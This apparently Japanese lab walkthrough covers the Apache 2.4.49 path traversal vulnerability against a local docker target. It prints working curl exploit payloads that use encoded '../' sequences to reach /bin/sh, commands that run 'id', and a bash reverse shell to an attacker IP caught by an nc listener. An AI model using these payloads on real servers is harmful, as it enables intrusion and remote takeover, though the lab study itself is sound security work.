
Apache HTTP Server 2.4.49 のパス正規化に加えられた変更に欠陥が見つかりました。攻撃者はパストラバーサル攻撃を使用して、Alias 系ディレクティブで設定されたディレクトリの外部にあるファイルに URL をマッピングできる可能性があります。
これらのディレクトリ外のファイルが通常のデフォルト設定「require all denied」で保護されていない場合、これらのリクエストは成功する可能性があります。さらに、これらのエイリアスされたパスで CGI スクリプトも有効になっている場合、リモートコード実行につながる可能性があります。
この問題は、実際の環境で悪用されることが知られています。
この問題は Apache 2.4.49 のみに影響し、それ以前のバージョンには影響しません。
パストラバーサル攻撃(ディレクトリトラバーサルとも呼ばれる)は、Web ルートフォルダの外部に保存されているファイルやディレクトリへのアクセスを目的としています。「ドット-ドット-スラッシュ(../)」シーケンスやその亜種を使用してファイルを参照する変数を操作したり、絶対ファイルパスを使用したりすることで、アプリケーションのソースコードや設定、重要なシステムファイルなど、ファイルシステム上に保存されている任意のファイルやディレクトリにアクセスできる可能性があります。なお、ファイルへのアクセスは、システムの運用上のアクセス制御(Microsoft Windows オペレーティングシステム上のロックされたファイルや使用中のファイルなどの場合)によって制限されることに注意してください。
この攻撃は「ドット-ドット-スラッシュ」、「ディレクトリトラバーサル」、「ディレクトリクライミング」、「バックトラッキング」としても知られています。
$ docker-compose build
$ docker-compose up
動作確認
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
被害者 : localhost:1234
攻撃者 : 192.168.1.12
ドキュメントによると、これはリモートでコードを実行できる脆弱性(RCE)です。
cgi-bin フォルダを指定して curl を実行することで、これを悪用できます。
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
実際にコマンドを実行できるかどうか、たとえば id で確認してみましょう:
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. リバースシェル
被害者のサーバー上に bash ファイルを作成して、リバースシェルをテストします。
例として、PayloadsAllTheThings リポジトリにある bash のリバースシェルを使用します。
以下はその例です:
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
被害者のマシンの /tmp/ フォルダにファイル vuln.sh を作成しましょう!
このファイルには、リモートで実行できるリバースシェルを記述します。ローカルマシンのポート 44 に接続します。
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
cat コマンドでファイルの内容を確認できます。
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. ncat によるリスナー
ローカルマシン上にリスナーを作成します。
$ nc -lvnp 44
あとはリモートのファイルを実行するだけです。
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
応答 :
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.